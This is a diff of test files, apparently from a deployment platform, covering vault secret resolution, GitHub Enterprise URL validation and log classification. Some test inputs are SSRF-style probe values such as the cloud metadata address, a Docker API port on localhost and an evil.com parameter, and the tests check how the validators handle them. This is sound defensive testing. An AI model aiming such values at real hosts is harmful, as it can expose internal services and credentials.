it("returns null/empty inputs unchanged", async () => {
expect(await resolveVaultReferences(null, scope)).toBeNull();
expect(await resolveVaultReferences("", scope)).toBe("");
});
it("throws when refs exist but no organization context is given", async () => {
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
).rejects.toThrow("not supported in this context");
});
it("throws for an unknown provider", async () => {
findMany.mockResolvedValue([]);
await expect(
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
).rejects.toThrow('Vault provider "missing" not found');
});
it("throws when the provider is not assigned to the project", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("throws when the provider is restricted to another environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
).rejects.toThrow("not enabled for this project/environment");
});
it("allows a provider restricted to the matching environment", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
},
]);
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
const result = await resolveVaultReferences(
"FOO=${{vault.prod.SECRET}}",
scope,
);
expect(result).toBe("FOO=value-1");
});
it("resolves refs through a doppler provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
);
const result = await resolveVaultReferences(
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
scope,
);
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is missing in the provider", async () => {
findMany.mockResolvedValue([
{
name: "doppler-prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
await expect(
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
).rejects.toThrow('secret "MISSING" not found');
});
});
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
it("resolves entity env sources so sync interpolation sees real values", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
const entity = {
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
environment: {
environmentId: "env-1",
env: null,
project: {
projectId: "proj-1",
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
organizationId: "org-1",
},
},
};
const resolved = await withResolvedVaultRefs(entity);
const prepared = prepareEnvironmentVariables(
resolved.env,
resolved.environment.project.env,
resolved.environment.env,
);
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
});
it("resolves buildArgs and buildSecrets when present", async () => {
findMany.mockResolvedValue([
{
name: "prod",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
const resolved = await withResolvedVaultRefs({
env: "FOO=bar",
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
buildSecrets: null,
environment: {
environmentId: "env-1",
env: null,
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
});
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
expect(resolved.buildSecrets).toBeNull();
expect(resolved.env).toBe("FOO=bar");
});
it.each([
["service env", { env: "SECRET=${{vault.locked.X}}" }],
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
])(
"rejects a ref to an unassigned provider placed in the %s",
async (_source, overrides) => {
findMany.mockResolvedValue([
{
name: "locked",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [{ projectId: "other-project", environmentIds: [] }],
},
]);
const entity = {
env: (overrides as { env?: string }).env ?? "FOO=bar",
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
environment: {
environmentId: "env-1",
env:
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
project: {
projectId: "proj-1",
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
organizationId: "org-1",
},
},
};
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
"not enabled for this project/environment",
);
expect(mockFetch).not.toHaveBeenCalled();
},
);
it("rejects a ref restricted to another environment from the environment env", async () => {
findMany.mockResolvedValue([
{
name: "prod-only",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
withResolvedVaultRefs({
env: null,
environment: {
environmentId: "dev-env",
env: "SECRET=${{vault.prod-only.X}}",
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
}),
).rejects.toThrow("not enabled for this project/environment");
expect(mockFetch).not.toHaveBeenCalled();
});
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
expect(() =>
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
).toThrow("Unresolved vault reference");
});
it("keeps working without vault refs", () => {
const prepared = prepareEnvironmentVariables(
"FOO=${{project.BAR}}",
"BAR=baz",
);
expect(prepared).toEqual(["FOO=baz"]);
expect(findMany).not.toHaveBeenCalled();
});
});
describe("hashicorp client", () => {
const config = {
providerType: "hashicorp" as const,
url: "https://vault.example.com",
token: "hvs.token",
mount: "secret",
};
it("rejects refs without a field", async () => {
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod"]),
).rejects.toThrow("expected format <path>:<field>");
});
it("groups refs by path and picks fields from KV v2 data", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
);
const result = await hashicorpClient.getSecrets(config, [
"myapp/prod:USER",
"myapp/prod:PASS",
]);
expect(result).toEqual({
"myapp/prod:USER": "admin",
"myapp/prod:PASS": "pw",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://vault.example.com/v1/secret/data/myapp/prod",
);
});
it("throws when a field is missing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
).rejects.toThrow('field "MISSING" not found');
});
it("lists full path:field refs by walking directories", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/metadata?list=true")) {
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
}
if (url.includes("/metadata/myapp?list=true")) {
return jsonResponse({ data: { keys: ["prod"] } });
}
if (url.includes("/data/myapp/prod")) {
return jsonResponse({
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
});
}
if (url.includes("/data/shared")) {
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
}
return jsonResponse({}, false, 404);
});
const names = await hashicorpClient.listSecretNames?.(config);
expect(names).toEqual([
"myapp/prod:API_KEY",
"myapp/prod:DB_PASSWORD",
"shared:STRIPE_KEY",
]);
});
});
describe("azure client", () => {
const config = {
providerType: "azure" as const,
vaultUri: "https://my-vault.vault.azure.net",
tenantId: "tenant-1",
clientId: "client-1",
clientSecret: "secret-1",
};
it("authenticates and reads secrets by name", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com/tenant-1")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("/secrets/db-password?")) {
return jsonResponse({ value: "azure-pw" });
}
return jsonResponse({}, false, 404);
});
const result = await azureClient.getSecrets(config, ["db-password"]);
expect(result).toEqual({ "db-password": "azure-pw" });
});
it("throws a clear error for missing secrets", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
return jsonResponse({}, false, 404);
});
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found',
);
});
it("lists secret names from paged results", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("skiptoken")) {
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/second` }],
nextLink: null,
});
}
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/first` }],
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
});
});
const names = await azureClient.listSecretNames?.(config);
expect(names).toEqual(["first", "second"]);
});
});
describe("doppler client", () => {
it("propagates auth errors with the status code", async () => {
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
await expect(
dopplerClient.getSecrets(
{ providerType: "doppler", serviceToken: "bad" },
["FOO"],
),
).rejects.toThrow("status 401");
});
});
@@ -0,0 +1,106 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// cloneGithubRepository builds a shell command; the only thing under test here
// is which host ends up in the clone URL, so the app auth is stubbed out.
const mockFindGithubById = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/github", () => ({
findGithubById: mockFindGithubById,
}));
vi.mock("@octokit/auth-app", () => ({
createAppAuth: vi.fn(),
}));
vi.mock("octokit", () => ({
Octokit: class {
auth = async () => ({ token: "gh-token" });
},
}));
const { cloneGithubRepository } = await import(
"@dokploy/server/utils/providers/github"
);
const provider = (githubUrl: string) => ({
githubId: "gh-1",
githubUrl,
githubAppId: 1,
githubPrivateKey: "key",
githubInstallationId: "42",
});
const clone = async () => {
const command = await cloneGithubRepository({
appName: "my-app",
owner: "acme",
repository: "web",
branch: "main",
githubId: "gh-1",
enableSubmodules: false,
serverId: null,
});
return command.replace(/\\/g, "");
};
describe("cloneGithubRepository host", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("clones from github.com for a default provider", async () => {
mockFindGithubById.mockResolvedValue(provider("https://github.com"));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.com/acme/web.git",
);
expect(command).not.toContain("ghe.com");
});
it("clones from the Enterprise host, not github.com", async () => {
mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
);
expect(command).not.toContain("github.com");
});
it("clones from a self-hosted Enterprise Server host", async () => {
mockFindGithubById.mockResolvedValue(
provider("https://github.corp.acme.com"),
);
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
);
});
it("keeps an explicit port in the clone host", async () => {
mockFindGithubById.mockResolvedValue(
provider("https://github.acme.com:8443"),
);
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
);
});
it("falls back to github.com for a provider stored before this feature", async () => {
mockFindGithubById.mockResolvedValue(provider(""));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.com/acme/web.git",
);
});
});
@@ -0,0 +1,168 @@
import {
DEFAULT_GITHUB_API_URL,
DEFAULT_GITHUB_URL,
deriveGithubApiUrl,
normalizeGithubUrl,
parseGithubBaseUrl,
} from "@dokploy/server/utils/providers/github";
import { describe, expect, it } from "vitest";
const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
"url" in result ? result.url : null;
describe("normalizeGithubUrl", () => {
it("defaults to github.com when empty", () => {
expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL);
});
it("assumes https when no scheme is given", () => {
expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
});
it("strips paths, queries and trailing slashes", () => {
expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
"https://acme.ghe.com",
);
expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
"https://acme.ghe.com",
);
expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
"https://github.acme.com",
);
});
it("keeps an explicit port", () => {
expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
"https://github.acme.com:8443",
);
});
it("falls back to github.com on unusable input", () => {
expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
DEFAULT_GITHUB_URL,
);
expect(normalizeGithubUrl("http://github.internal")).toBe(
DEFAULT_GITHUB_URL,
);
expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
});
});
describe("parseGithubBaseUrl", () => {
it("accepts github.com and Enterprise hosts", () => {
expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
"https://acme.ghe.com",
);
// A self-hosted instance behind the corporate network is a valid target.
expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
"https://github.corp.acme.com",
);
expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
"https://github.acme.com:8443",
);
});
it("treats an absent value as github.com", () => {
// Not specified is different from specified wrong.
expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL);
});
it("rejects plaintext http", () => {
expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
});
it("rejects dotless hostnames", () => {
expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
});
it("rejects a dotless hostname hidden behind the DNS root label", () => {
// "metadata." resolves like "metadata" but the trailing dot would satisfy
// a naive `includes(".")` check.
expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
});
it("never falls back to github.com on a typo", () => {
// The symptom that opened the ticket: a provider silently pointing at
// github.com and reporting that it cannot find the repositories.
for (const typo of [
"htps://acme.ghe.com",
"ftp://acme.ghe.com",
"https://",
"acme .ghe.com",
]) {
const result = parseGithubBaseUrl(typo);
expect(result, typo).toHaveProperty("error");
expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
}
});
});
describe("deriveGithubApiUrl", () => {
it("maps github.com to api.github.com", () => {
expect(deriveGithubApiUrl("https://github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
});
it("prefixes api. for data residency tenants", () => {
expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
"https://api.acme.ghe.com",
);
expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
"https://api.americancreditacceptance.ghe.com",
);
});
it("uses /api/v3 for Enterprise Server", () => {
expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
"https://github.acme.com/api/v3",
);
expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
"https://github.acme.com:8443/api/v3",
);
});
it("does not treat a lookalike host as data residency", () => {
// Must not match the .ghe.com branch just because the string contains it.
expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
"https://ghe.com.acme.io/api/v3",
);
});
it("still detects data residency behind the DNS root label", () => {
// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
// through to the /api/v3 branch.
expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
"https://api.acme.ghe.com",
);
});
it("maps www.github.com, which a user may well type", () => {
// Not dead weight: GitHub never redirects a manifest there, but the value
// comes from a text field. Without this it would derive
// https://www.github.com/api/v3.
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
});
});
describe("providers created before Enterprise support", () => {
it("keeps pointing at github.com", () => {
// The column defaults to https://github.com, but a null must not break it.
expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
});
});
@@ -0,0 +1,143 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// The gh_init branch runs on a GET the user can be linked into, so a rejected
// host must produce a 400 *before* any outbound request is made.
const mockValidateRequest = vi.hoisted(() => vi.fn());
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockCreateGithub = vi.hoisted(() => vi.fn());
const mockOctokitRequest = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", async (importOriginal) => {
const actual = await importOriginal<typeof import("@dokploy/server")>();
return {
...actual,
validateRequest: mockValidateRequest,
createGithub: mockCreateGithub,
};
});
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
}));
vi.mock("octokit", () => ({
Octokit: class {
request = mockOctokitRequest;
},
}));
const { default: handler } = await import("@/pages/api/providers/github/setup");
const ORG = "org-1";
const USER = "user-1";
const buildRes = () => {
const res = {
statusCode: 0,
body: undefined as unknown,
redirectedTo: undefined as string | undefined,
status(code: number) {
res.statusCode = code;
return res;
},
json(payload: unknown) {
res.body = payload;
return res;
},
redirect(_code: number, url: string) {
res.redirectedTo = url;
return res;
},
};
return res;
};
const call = async (githubUrl?: string | string[]) => {
const res = buildRes();
const req = {
query: {
code: "manifest-code",
state: `gh_init:${ORG}:${USER}`,
...(githubUrl === undefined ? {} : { githubUrl }),
},
headers: {},
} as unknown as Parameters<typeof handler>[0];
await handler(req, res as unknown as Parameters<typeof handler>[1]);
return res;
};
describe("github setup handler — host validation", () => {
beforeEach(() => {
vi.clearAllMocks();
mockValidateRequest.mockResolvedValue({
user: { id: USER },
session: { activeOrganizationId: ORG },
});
mockHasPermission.mockResolvedValue(true);
mockOctokitRequest.mockResolvedValue({
data: {
name: "Dokploy",
html_url: "https://acme.ghe.com/apps/dokploy",
id: 1,
client_id: "cid",
client_secret: "csecret",
webhook_secret: "wsecret",
pem: "key",
},
});
mockCreateGithub.mockResolvedValue(undefined);
});
it.each([
["http://acme.ghe.com", "plaintext http"],
["http://localhost:2375", "internal service over http"],
["https://metadata", "dotless hostname"],
["htps://acme.ghe.com", "scheme typo"],
])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
const res = await call(githubUrl);
expect(res.statusCode).toBe(400);
expect(mockOctokitRequest).not.toHaveBeenCalled();
expect(mockCreateGithub).not.toHaveBeenCalled();
});
it("throws on a repeated parameter instead of silently picking one", async () => {
// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
await expect(
call(["https://acme.ghe.com", "https://evil.com"]),
).rejects.toThrow();
expect(mockCreateGithub).not.toHaveBeenCalled();
});
it("accepts a data residency tenant", async () => {
await call("https://acme.ghe.com");
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
ORG,
USER,
);
});
it("accepts a self-hosted Enterprise Server host", async () => {
await call("https://github.corp.acme.com");
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
ORG,
USER,
);
});
it("treats an absent parameter as github.com", async () => {
await call(undefined);
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://github.com" }),
ORG,
USER,
);
});
});
@@ -0,0 +1,75 @@
import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
import { describe, expect, it } from "vitest";
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
/**
* The client cannot import from @dokploy/server (node-only modules), so
* resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
* stops the two from drifting apart — and they already did once, when the
* client stripped trailing slashes but not paths and the form action disagreed
* with the persisted row.
*
* The invariant: for the same input, both must make the same accept/reject
* decision, and agree on the URL when they accept.
*/
const INPUTS = [
// Accepted
"https://github.com",
"github.com",
"https://acme.ghe.com",
"acme.ghe.com",
"https://github.corp.acme.com",
"https://github.acme.com:8443",
"https://acme.ghe.com/",
"https://acme.ghe.com///",
"https://acme.ghe.com/enterprises/foo",
"https://acme.ghe.com/some/path?x=1",
" acme.ghe.com ",
"https://acme.ghe.com.",
"https://169.254.169.254",
"https://127.0.0.1",
"https://2130706433",
"https://0x7f.1",
"",
" ",
// Rejected
"http://acme.ghe.com",
"http://localhost:2375",
"https://[::1]",
"https://[::ffff:127.0.0.1]",
"https://metadata",
"https://metadata.",
"https://localhost",
"https://localhost.",
"htps://acme.ghe.com",
"ftp://acme.ghe.com",
"https://",
"acme .ghe.com",
"esto no es una url",
];
describe("client and server agree on GitHub base URLs", () => {
it.each(INPUTS)("%j", (input) => {
const client = resolveGithubBaseUrl(input);
const server = parseGithubBaseUrl(input);
const clientAccepted = !client.error;
const serverAccepted = "url" in server;
expect(
clientAccepted,
`accept/reject differs for ${JSON.stringify(input)}`,
).toBe(serverAccepted);
if (clientAccepted && "url" in server) {
expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
server.url,
);
}
});
it("both treat an empty value as github.com", () => {
expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
});
});
@@ -0,0 +1,42 @@
import { getLogType } from "@/components/dashboard/docker/logs/utils";
import { expect, test } from "vitest";
test("classifies real failures as error", () => {
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
expect(getLogType("Deployment failed").type).toBe("error");
expect(
getLogType(
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
).type,
).toBe("error");
});
test("does not classify explicit non-error key/values as error (#4538)", () => {
// ofelia job-completion summary for a successful run
expect(
getLogType(
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
).type,
).not.toBe("error");
expect(getLogType("request done, error: null").type).not.toBe("error");
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
});
test("keeps errors whose value merely starts with a no-error word", () => {
expect(getLogType("connect failed: no route to host").type).toBe("error");
expect(getLogType("connection failed: no such host").type).toBe("error");
expect(
getLogType("error: none of the configured nodes are available").type,
).toBe("error");
expect(getLogType("error: nil pointer dereference").type).toBe("error");
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
});
test("keeps statusCode-based classification", () => {
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
});
@@ -39,6 +39,7 @@ const ENTERPRISE_RESOURCES = [
"logs",
"monitoring",
"auditLog",
"vaultProvider",
];
describe("enterpriseOnlyResources set", () => {
@@ -55,6 +55,28 @@ describe("processLogs", () => {
expect(result.data).toHaveLength(2);
});
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
const entryWithoutRequestHost = sampleLogEntry.replace(
/"RequestHost":"[^"]*",/,
"",
);
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
expect(() =>
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
).not.toThrow();
const result = parseRawConfig(
mixedEntries,
undefined,
undefined,
"traefik.me",
);
expect(result.totalCount).toBe(1);
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
});
it("should filter out Dokploy dashboard requests", () => {
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
"example",
"dokploy-server",
"localhost",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
"bbn_client.example.com",
"-example.com",
"example-.com",
"example",
"exa mple.com",
"example..com",
"",
@@ -0,0 +1,108 @@
import { describe, expect, test } from "vitest";
import { getLogType } from "@/components/dashboard/docker/logs/utils";
describe("getLogType", () => {
describe("explicit level declared by structured loggers", () => {
test("JSON string levels (pino, winston, zap)", () => {
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
});
test("JSON numeric levels (pino, bunyan)", () => {
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
});
test("syslog/GELF numeric levels", () => {
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
});
test("GCP-style severity and ECS log.level", () => {
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
"error",
);
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
"warning",
);
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
"error",
);
});
test("logfmt levels", () => {
expect(
getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
).toBe("error");
expect(
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
).toBe("info");
expect(getLogType("level=warn msg=careful").type).toBe("warning");
});
test("declared level wins over keywords in the message (#4589, #1996)", () => {
// "version"/"GET" in this pino line would otherwise match the debug keywords
const pinoError =
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
expect(getLogType(pinoError).type).toBe("error");
// info line containing error-like keywords (#4589)
expect(
getLogType(
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
).type,
).toBe("info");
// successful job summary with "failed: false, error: none" (#4538)
expect(
getLogType(
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
).type,
).toBe("info");
});
test("declared level wins over statusCode", () => {
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
});
test("unknown level names fall back to keyword detection", () => {
expect(
getLogType('{"level":"verbose","msg":"connection failed"}').type,
).toBe("error");
});
test("env-var-like text is not treated as logfmt level", () => {
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
"error",
);
});
});
describe("fallback detection for unstructured logs (unchanged)", () => {
test("statusCode classification", () => {
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
});
test("keyword classification", () => {
expect(getLogType("error: something broke").type).toBe("error");
expect(getLogType("warning: disk almost full").type).toBe("warning");
expect(getLogType("Server listening on port 8080").type).toBe("success");
});
test("defaults to info", () => {
expect(getLogType("hello world").type).toBe("info");
});
});
});
@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
z.object({
buildType: z.literal(BuildType.nixpacks),
publishDirectory: z.string().optional(),
isStaticSpa: z.boolean().default(false),
}),
z.object({
buildType: z.literal(BuildType.railpack),
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
return {
buildType: BuildType.nixpacks,
